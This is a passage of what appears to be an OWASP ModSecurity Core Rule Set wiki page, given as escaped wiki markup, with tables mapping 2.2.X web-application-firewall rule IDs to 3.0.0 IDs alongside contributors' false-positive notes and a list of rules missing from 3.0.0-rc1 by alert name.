  | Christian's 2.2.X experience: frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981248&lt;br /&gt;
  | 942210&lt;br /&gt;
  | Detects chained SQL injection attempts 1/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: low FP, &amp;lt;br/&amp;gt; discussion did not bring up any additional arguments. Moving to paranoia mode&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 981249&lt;br /&gt;
  | 942310&lt;br /&gt;
  | Detects chained SQL injection attempts 2/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP but seen in very specific situations&lt;br /&gt;
|-&lt;br /&gt;
  | 981257&lt;br /&gt;
  | 942200&lt;br /&gt;
  | Detects MySQL comment-/space-obfuscated injections and backtick termination&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981260&lt;br /&gt;
  | gone -&amp;gt; 942450 &lt;br /&gt;
  | SQL Hex Encoding Identified&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: high FP in long random strings&lt;br /&gt;
|-&lt;br /&gt;
  | 981318&lt;br /&gt;
  | 942110&lt;br /&gt;
  | SQL Injection Attack: Common Injection Testing Detected&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Franziska's candidate: one quote character at the beginning/end really not legitimate? Walter 2.2.X candidate: frequent FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981319&lt;br /&gt;
  | 942120&lt;br /&gt;
  | SQL Injection Attack: SQL Operator Detected&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: very short operators or strings already match. Walter: some FP (WooCommerce)&lt;br /&gt;
|-&lt;br /&gt;
  | 981049&lt;br /&gt;
  | 912100&lt;br /&gt;
  | Potential Denial of Service (DoS) Attack from ... - # of Request Bursts: ...	   &lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | limit currently at 2; could be set to 1; now, the attacker has to exceed dos_counter_threshold twice. With full reset of counter after first hit. Source: 2.2.X-&amp;gt;experimental rules&lt;br /&gt;
|-&lt;br /&gt;
  | 960901          &lt;br /&gt;
  | 920270			&lt;br /&gt;
  | Invalid character in request&lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | @validateByteRange 1-255; there was a conditional rule with stricter byterange 32-126 in 2.2.X as well&lt;br /&gt;
|-&lt;br /&gt;
  | 970003          &lt;br /&gt;
  | 951100			&lt;br /&gt;
  | none					   					   &lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | rule is only setting tx.sql_error_match. Could also trigger score directly&lt;br /&gt;
|-&lt;br /&gt;
  | 950907          &lt;br /&gt;
  | 932100			&lt;br /&gt;
  | Remote Command Execution (RCE) Attempt					   	   &lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 958977          &lt;br /&gt;
  | 933110			&lt;br /&gt;
  | PHP Injection Attack: Function Name Found					    &lt;br /&gt;
  | cloning-confirmed&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 958979          &lt;br /&gt;
  | 933120			&lt;br /&gt;
  | PHP Injection Attack: Configuration Directive Found				    &lt;br /&gt;
  | cloning-candidate&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 950001          &lt;br /&gt;
  | 942150			&lt;br /&gt;
  | SQL Injection Attack					   			    &lt;br /&gt;
  | cloning-confirmed&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 950907&lt;br /&gt;
  | 932100&lt;br /&gt;
  | System Command Injection&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: false positives possible because of @pmf, file with short cmds. Discussion evolved about splitting the file, which everybody thinks is a good idea. But that would be outside the scope of the introduction of the paranoia mode. So the rule stays in the standard set of rules for the time being and will be split in the future [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001886.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 900050&lt;br /&gt;
  | 910100&lt;br /&gt;
  | Client IP is from a HIGH Risk Country Location.&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Franziska's candidate: Do we want to exlude countries? But then easy to configure. Discussion pointed out this as an effective rule. We leave it in the standard rules, but provide an empty country list by default [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001951.html Link to discussion]. [https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/284 Separate pull request]&lt;br /&gt;
|-&lt;br /&gt;
  | 960017&lt;br /&gt;
  | 920350&lt;br /&gt;
  | Host header is a numeric IP address&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: low FP (almost all are mass scans); &amp;lt;br/&amp;gt; Discussion concluded that legitimate use of numeric IP addresses is rare. This is really mostly mass scanners. Rule will be kept in standard set of rules&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 958977&lt;br /&gt;
  | 933110&lt;br /&gt;
  | PHP Injection Attack: Function Name Found&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Franziska's candidate: false positives possible because of @pmf, file with short function names. Maybe we should split the data file. The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.&lt;br /&gt;
|-&lt;br /&gt;
  | 958979&lt;br /&gt;
  | 933120&lt;br /&gt;
  | PHP Injection Attack: Configuration Directive Found&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Franziska's candidate: false positives possible because of @pmf, file with short configuration directives. Splitting file?  The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Rules from 2.2.X, missing in 3.0.0-rc1===&lt;br /&gt;
&lt;br /&gt;
It looks as if only the base_rules made it into 3.0.0. In fact there are a few rule ids know from the optional and experimental rule folders in 2.2.X, but it is more likely, these are new 3.0.0 rules reusing old rule ids as the rules (regexes and msg) do not match at all.&lt;br /&gt;
&lt;br /&gt;
When trying to generate the list below, be aware that the rule ids have been renumbered between 3.0.0-dev and 3.0.0-rc1. IdNumbering.csv in your friend.&lt;br /&gt;
&lt;br /&gt;
====Base rules====&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''2.2.X rule id'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''msg'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''remarks'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | 950002&lt;br /&gt;
  | System Command Access&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950006&lt;br /&gt;
  | System Command Injection&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950007&lt;br /&gt;
  | Blind SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950008&lt;br /&gt;
  | Injection of Undocumented ColdFusion Tags&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950010&lt;br /&gt;
  | LDAP Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950011&lt;br /&gt;
  | SSI injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950018&lt;br /&gt;
  | Universal PDF XSS URL Detected.&lt;br /&gt;
  | Walter: medium FP (foo.pdf#javascript)&lt;br /&gt;
|-&lt;br /&gt;
  | 950019&lt;br /&gt;
  | Email Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950908&lt;br /&gt;
  | SQL Injection Attack.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950921&lt;br /&gt;
  | Backdoor access&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950922&lt;br /&gt;
  | Backdoor access&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958000&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958001&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958002&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958003&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958004&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958005&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958006&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958007&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958008&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958009&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958010&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958011&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958012&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958013&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958016&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958017&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958018&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958019&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958020&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958022&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958023&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958024&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958025&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958026&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958027&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958028&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958030&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958031&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958032&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958033&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958034&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958036&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958037&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958038&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958039&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958040&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958041&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958045&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958046&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958047&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958049&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958051&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958052&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958054&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958056&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958057&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958059&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958291&lt;br /&gt;
  | Range: field exists and begins with 0.&lt;br /&gt;
  | Walter: high FP (Chrome PDF viewer) and not useful.&lt;br /&gt;
|-&lt;br /&gt;
  | 958404&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958405&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958406&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958407&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958408&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958409&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958410&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958411&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958412&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958413&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958414&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958415&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958416&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958417&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958418&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958419&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958420&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958421&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958422&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958423&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958976&lt;br /&gt;
  | PHP Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959070&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959071&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959072&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959073&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960014&lt;br /&gt;
  | Proxy access attempt&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960018&lt;br /&gt;
  | Invalid character in request&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960020&lt;br /&gt;
  | Pragma Header requires Cache-Control Header for HTTP/1.1 requests.&lt;br /&gt;
  | Walter: some FP&lt;br /&gt;
|-&lt;br /&gt;
  | 960022&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960024&lt;br /&gt;
  | Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters&lt;br /&gt;
  | Walter: many FP&lt;br /&gt;
|-&lt;br /&gt;
  | 960902&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960913&lt;br /&gt;
  | Invalid request&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970007&lt;br /&gt;
  | Zope Information Leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970008&lt;br /&gt;
  | Cold Fusion Information Leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970010&lt;br /&gt;
  | ISA server existence revealed&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970011&lt;br /&gt;
  | File or Directory Names Leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970012&lt;br /&gt;
  | Microsoft Office document properties leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970016&lt;br /&gt;
  | Cold Fusion source code leakage&lt;br /&gt;
  | Walter: some FP but not using this language&lt;br /&gt;
|-&lt;br /&gt;
  | 970018&lt;br /&gt;
  | IIS installed in default location&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970021&lt;br /&gt;
  | WebLogic information disclosure&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970903&lt;br /&gt;
  | ASP/JSP source code leakage&lt;br /&gt;
  | Walter: some FP but not using this language&lt;br /&gt;
|-&lt;br /&gt;
  | 973300&lt;br /&gt;
  | Possible XSS Attack Detected - HTML Tag Handler&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973301&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973302&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973303&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973304&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973305&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973306&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973307&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973308&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973309&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973310&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973311&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973312&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973313&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973314&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973316&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973325&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973327&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973328&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973329&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973330&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973331&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973332&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973333&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973334&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | Walter: many FP in text&lt;br /&gt;
|-&lt;br /&gt;
  | 973335&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | Walter: many FP in text&lt;br /&gt;
|-&lt;br /&gt;
  | 973347&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981000&lt;br /&gt;
  | Possibly malicious iframe tag in output&lt;br /&gt;
  | Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981001&lt;br /&gt;
  | Possibly malicious iframe tag in output&lt;br /&gt;
  | Walter: medium FP (iframes with display:none)&lt;br /&gt;
|-&lt;br /&gt;
  | 981003&lt;br /&gt;
  | Malicious iframe+javascript tag in output&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981004&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Excessive fromCharCode&lt;br /&gt;
  | Walter: many FP (Wordpress 4.4 inlined emoji javascripts); folinic: Problem solved in WP: https://core.trac.wordpress.org/ticket/35412&lt;br /&gt;
|-&lt;br /&gt;
  | 981005&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Eval+Unescape&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981006&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Unescape&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981007&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Heap Spray&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981018&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981022&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981133&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981134&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981136&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981172&lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | Walter: many FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981173&lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | Walter: many FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981177&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981178&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981231&lt;br /&gt;
  | SQL Comment Sequence Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981260&lt;br /&gt;
  | SQL Hex Encoding Identified&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981300&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981301&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981302&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981303&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981304&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981305&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981306&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981307&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981308&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981309&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981310&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981311&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981312&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
